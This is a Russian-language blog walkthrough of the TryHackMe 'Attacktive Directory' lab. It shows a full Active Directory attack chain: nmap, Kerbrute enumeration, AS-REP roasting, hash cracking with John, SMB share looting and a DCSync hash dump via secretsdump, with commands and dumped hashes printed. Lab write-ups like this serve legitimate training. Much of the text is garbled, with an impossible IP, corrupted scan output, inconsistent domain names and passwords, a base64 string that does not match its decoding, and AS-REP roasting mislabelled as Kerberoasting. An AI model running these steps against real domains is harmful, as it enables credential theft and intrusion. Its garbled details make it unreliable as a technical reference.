

Attacktive Directory by THM writeup

 habr.com/ru/articles/762372

September 20, 2023

Данная статья содержит подробный разбор лабораторной работы с TryHackMe, посвященной тестированию на проникновение Active Directory. Приятного прочтения!

Дисклеймер: Все методы примененные в статье продемонстрированы в учебных целях.



Шаг 0: Сканирование с помощью Nmap

Любой пентест начинается со сканирования внутренней сети. У нас есть ip машины, поэтому запустим nmap для того, чтобы посмотреть открытые порты и запущенные

на них сервисы

```
nmmap -sC -sV -T4 10.10.108.10206
```

-sC -> опция, запускающая сканирование на основе скриптов;

-sv -> определяет версии служб, запущенных на открытых портах;

-T4 -> время сканирования.

```
Host is up (0.015s latency).
Not shown: 987 closed ports
PORT      STATE SERVICE          VERSION
53/tcp    open  domain?
| fingerprint-strings:
|_ DNSVersionBindReqTCP:
|   version
|   bind
|_ 
88/tcp    open  http             Microsoft IIS httpd 10.0
|_ http-methods:
|_ _ Potentially risky methods: TRACE
|_ _ http-server-header: Microsoft-IIS/10.0
|_ _ http-title: IIS Windows Server
88/tcp    open  kerberos-sec     Microsoft Windows Kerberos (server time: 2022-03-07 16:18:31Z)
135/tcp   open  msrpc            Microsoft Windows RPC
139/tcp   open  netbios-ssn      Microsoft Windows netbios-ssn
389/tcp   open  ldap             Microsoft Windows Active Directory LDAP (Domain: spookysc.local0., Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds?    Microsoft Windows Active Directory LDAP (Domain: spookysc.local0., Site: Default-First-Site-Name)
464/tcp   open  kpasswd5?        Microsoft Windows Active Directory LDAP (Domain: spookysc.local0., Site: Default-First-Site-Name)
593/tcp   open  ncacn_http       Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped
1268/tcp  open  ldap             Microsoft Windows Active Directory LDAP (Domain: spookysc.local0., Site: Default-First-Site-Name)
1369/tcp  open  tcpwrapped
1389/tcp  open  ms-wbt-server    Microsoft Windows Terminal Services
rdp-ntlm-info:
Target_Name: THW-AO
NetBIOS_Domain_Name: THW-AO
NetBIOS_Computer_Name: ATTACKTIVEDIRECT
DNS_Domain_Name: spookysc.local
DNS_Computer_Name: AttacktiveDirectory.spookysc.local
Product_Version: 10.0.17763
System_Time: 2022-03-07T18:20:47+00:00
ssl-cert: Subject: commonName=AttacktiveDirectory.spookysc.local
Not valid before: 2022-03-06T18:00:23
Not valid after: 2022-09-05T18:00:23
ssl-date: 2022-03-07T18:21:01+00:00; 8s from scanner time.
Service is unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://rmap.org/cgi-bin/submit.cgi?new-service :
SF-Port53-TCP:VU7:8081-72D-3/7XTime:6226AC7CNP-x86_64-pc-linux-gnuX(SFve
SF:rsionbindReqTCP,x8,"0\0\x1e\0x06\x81\x04\0x01\0\0\0\0\0\0\0\0\x7version\x
SF:04bind\0\0\x10\0\0\x83");
MAC Address: 02:E2:8E:47:56:F5 (Unknown)
Service Info: Host: ATTACKTIVEDIRECT; OS: Windows; CPE: cpe:/o:microsoft:windows
```

Результат сканирования Nmap

Шаг 1: Перебор активных пользователей

После проведения рекона, следующей стадией становится поиск так называемых низко висящих фруктов путем перебора валидных имен пользователей для проведения дальнейшей атаки. Воспользуемся утилитой Kerbrute

```
./kerbrute_linux_amd64 userenum userlist.txt --dc spookysec.local -d  
spookysec.local -t 100
```

userenum -> перебор активных пользователей;

--dc -> местонахождение контроллера домена;

-d -> область действия, домен:

-t -> КОЛИЧЕСТВО ПОТОКОВ.

```

(kali㉿kali)-[~/Downloads]
$ ./kerbrute_linux_amd64 userenum userlist.txt --dc spookysec.local -d spoo
kysec.local -t 10
Nmap done: 1 IP address (0 hosts up) scanned in 2.33 seconds
Kerbrute
Warning: 10.10.100.102 giving up on port because retransmission cap hit (6).

Version: v1.0.3 (9dad6e1) - 09/14/23 - Ronnie Flathers @ropnop

2023/09/14 18:10:52 > Using KDC(s):
2023/09/14 18:10:52 > spookysec.local:88

2023/09/14 18:10:52 > [+] VALID USERNAME: james@spookysec.local
2023/09/14 18:10:54 > [+] VALID USERNAME: svc-admin@spookysec.local
2023/09/14 18:10:57 > [+] VALID USERNAME: James@spookysec.local
2023/09/14 18:10:58 > [+] VALID USERNAME: robin@spookysec.local
2023/09/14 18:11:09 > [+] VALID USERNAME: darkstar@spookysec.local
2023/09/14 18:11:18 > [+] VALID USERNAME: administrator@spookysec.local
2023/09/14 18:11:34 > [+] VALID USERNAME: backup@spookysec.local
2023/09/14 18:11:42 > [+] VALID USERNAME: paradox@spookysec.local

```

Результат работы Kerbrute

Kerbrute - утилита, предназначенная для перебора имен пользователей, брутфорса паролей для пользователей, спреинга паролей, перебор пар *имя пользователя:пароль*

Username List:

wget https://raw.githubusercontent.com/Sq00ky/attacktive-directory-tools/master/userlist.txt

Password List:

wget https://raw.githubusercontent.com/Sq00ky/attacktive-directory-tools/master/passwordlist.txt

Шаг 2: Перехват TGT

После получения списка активных пользователей попробуем произвести атаку Kerberoasting, получив TGT билеты путем перехвата AS_REP пользователей без предварительной аутентификации, то есть в своем составе TGT не имеет метку времени, что позволяет перебрать его после перехвата. Особенности аутентификации в Kerberos и другие процессы мы описывали в нашей статье про [Bronze Bit Attack](#)

Для этого выберем пользователя svc-admin

GetNPUsers.py -dc-ip spookysec.local spookysec.local/svc-admin -no-pass

GetNPUsers - один из модулей утилиты **Impacket**, предназначенной взаимодействия с Active Directory. GetNPUsers запрашивает целевой домен для пользователей с установленным параметром "**Не требовать предварительной аутентификации Kerberos**", собирает ответы AS_REP без предварительной аутентификации и экспортирует их TGT для подбора пароля, так как они зашифрованы паролем пользователя. Это атака Kerberoasting с ответом AS_REP

-dc-ip -> ip контроллера домена. Можно указать доменное имя, если прописать его в **/etc/hosts**

spookysec.local/svc-admin -> также указываем пользователя и домен, в котором он находится

-no-pass -> делает запрос без пароля

```
(kali㉿kali)-[~/Downloads]
$ GetNPUsers.py -dc-ip spookysec.local spookysec.local/svc-admin -no-pass
Impacket v0.12.0.dev1+20230913.164115.0017927d - Copyright 2023 Fortra

[*] Getting TGT for svc-admin
$krb5asrep$23$svc-admin@SPOOKYSEC.LOCAL:29b9ccb353301834e72e7146b0876ab9$062a
07df2cc118795b35071cc1321d7cf2e3f8ab8bd1884095d8c8afc9e8fb2468aad48f5b3c15ac
44c82c3d7904b0df12f63348aa7418e2bc973b0e3b7aef292258579126933eb4cfee49c5eafa5
2825f70b1b58225076e53b642e22bbffceb4a78e550f4e7e8a89e9e2656ba05a07922235b1186
ca599dd531bdc6a83c0ac76dacceba59babfd64f68002b0e4efb66db6aa0ed93ec66bf3577e03
8f5ed15b48eafb17316f2c875b7c1092ae53591f587a2a6b80806823826d92f3036b3c3815ef4
dc7f9f3f9988da37adb6dcd089f1d3725a0da6a95c272d941c561023842ef7556a2f9ffa0309d
80cf48efc90b157a9f
```

Шаг 3: Локальный перебор TGT

Успешно перехватив TGT-билет с помощью утилиты JohnTheRipper локально запустим перебор паролей

john --rules --wordlist=rockyou.txt hash.txt

```
(kali㉿kali)-[~/Downloads]
$ john --rules --wordlist=rockyou.txt hash.txt
Using default input encoding: UTF-8
Loaded 1 password hash (krb5asrep, Kerberos 5 AS-REP etype 17/18/23 [MD4 HMAC
-MD5 RC4 / PBKDF2 HMAC-SHA1 AES 128/128 AVX 4x])
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
management2005 ($krb5asrep$23$svc-admin@SPOOKYSEC.LOCAL)
1g 0:00:00:05 DONE (2023-09-14 18:25) 0.1897g/s 1107Kp/s 1107Kc/s 1107KC/s
naia010..mana741
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
```

Взломанный пароль пользователя, полученный из TGT

JohnTheRipper - утилита для брутфорса хэшей по словарю. Умеет по соли определять вид хеша, что упрощает работу;

--rules -> перебор не просто по словарю, а по определенным правилам, то есть изменение в словах регистра и тому подобное;

--wordlist -> указываем словарь, который будет использоваться для перебора. И в конце указываем файл, содержащий хэш.

Шаг 4: Используем SMBClient для проверки shares

Получив пароль в открытом виде, попробуем посмотреть доступные нам smb shares для поиска на них полезных нам файлов

```
smbclient -L \\\\spookysec.local\\ -U 'svc-admin'
```

-L -> при подключении получает список shares, доступных на хосте;

-U -> указание пользователя, под которым происходит подключение через SMB.

```
(kali㉿kali)-[~/Downloads]
$ smbclient -L \\\\spookysec.local\\ -U 'svc-admin'
Password for [WORKGROUP\\svc-admin]:

  Sharename      Type            Comment
  -----
  ADMIN$         Disk            Remote Admin
  backup         Disk
  C$             Disk            Default share
  IPC$           IPC             Remote IPC
  NETLOGON       Disk            Logon server share
  SYSVOL         Disk            Logon server share

Reconnecting with SMB1 for workgroup listing.
do_connect: Connection to spookysec.local failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)
Unable to connect with SMB1 -- no workgroup available
```

Интересным для нас будет вероятно всего share **/backup**. Заходим на **\\spookysec.local\\backup** и забираем файл **backup_credentials.txt**

```
smb: \> dir
.                D          0  Sat Apr  4 15:08:39 2020
..               D          0  Sat Apr  4 15:08:39 2020
backup_credentials.txt  A       48  Sat Apr  4 15:08:53 2020

8247551 blocks of size 4096. 3587418 blocks available
smb: \> get backup_credentials.txt
getting file \backup_credentials.txt of size 48 as backup_credentials.txt (0.1 KiloBytes/sec) (average 0.1 KiloBytes/sec)
smb: \> exit
```

Забираем файл backup_credentials.txt

В файле лежит строка, закодированная в base64 строка
YmFja3VwQHhNwb29reXNIYy5sb2NhbmDpiYWNrdXAyNTE3ODYw

Декодим ее:

```
backup@spookysec.local:backup25178600
```


Шаг 5: Используем secretsdump, чтобы сдампить хеши

Получив пароль, мы можем сдампить секреты пользователей с помощью модуля secretsdump из утилиты Impacket

secretsdump.py spookysecl.local/backup:backup2517860@spookysecl.local Объяснить с

secretsdump - модуль из утилиты Impacket, позволяющий удаленно сдампить хэши с контроллера домена. Для этого указываем домен, пользователя, его пароль и ip целевого хоста

```
Impacket v0.12.0.dev1+20230913.164115.0017927d - Copyright 2023 Fortra

[-] RemoteOperations failed: DCERPC Runtime Error: code: 0x5 -
rpc_s_access_denied
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:
0e0363213e37b94221497260b0bcb4fc:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:
31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:
0e2eb8158c27bed09861033026be4c21:::
spookysecl.local\skidy:1103:aad3b435b51404eeaad3b435b51404ee:
5fe9353d4b96cc410b62cb7e11c57ba4:::
spookysecl.local\breakerofthings:1104:aad3b435b51404eeaad3b435b51404ee:
5fe9353d4b96cc410b62cb7e11c57ba4:::
spookysecl.local\james:1105:aad3b435b51404eeaad3b435b51404ee:
9448bf6aba63d154eb0c665071067b6b:::
spookysecl.local\optional:1106:aad3b435b51404eeaad3b435b51404ee:
436007d1c1550eaf41803f1272656c9e:::
spookysecl.local\sherlocksec:
```

Результат работы Impacket

Как это работает?

По сути secretsdump делает так называемый DCSync, то есть репликацию домена. Это атака, при проведении которой хакер выдает себя за DC с целью получения секретов пользователей для дальнейшего перемещения по домену. Как это происходит:

1. Происходит обнаружение DC по доменному имени или по ip-адресу.
2. Далее хакер от лица DC посылает запрос на репликацию учетных данных пользователей к другому контроллеру домена через функцию **GetNCChanges()**, используя Directory Replication Service (DRS) Remote Protocol.
3. Все эти данные сохраняются в ветви реестра SYSTEM, SECURITY, SAM и дальше мы извлекаем их из реестра целевой машины.

Вот и все, что мы хотели вам показать в этом кратком разборе! Помните, нет ни одной системы, полностью защищенной от атак!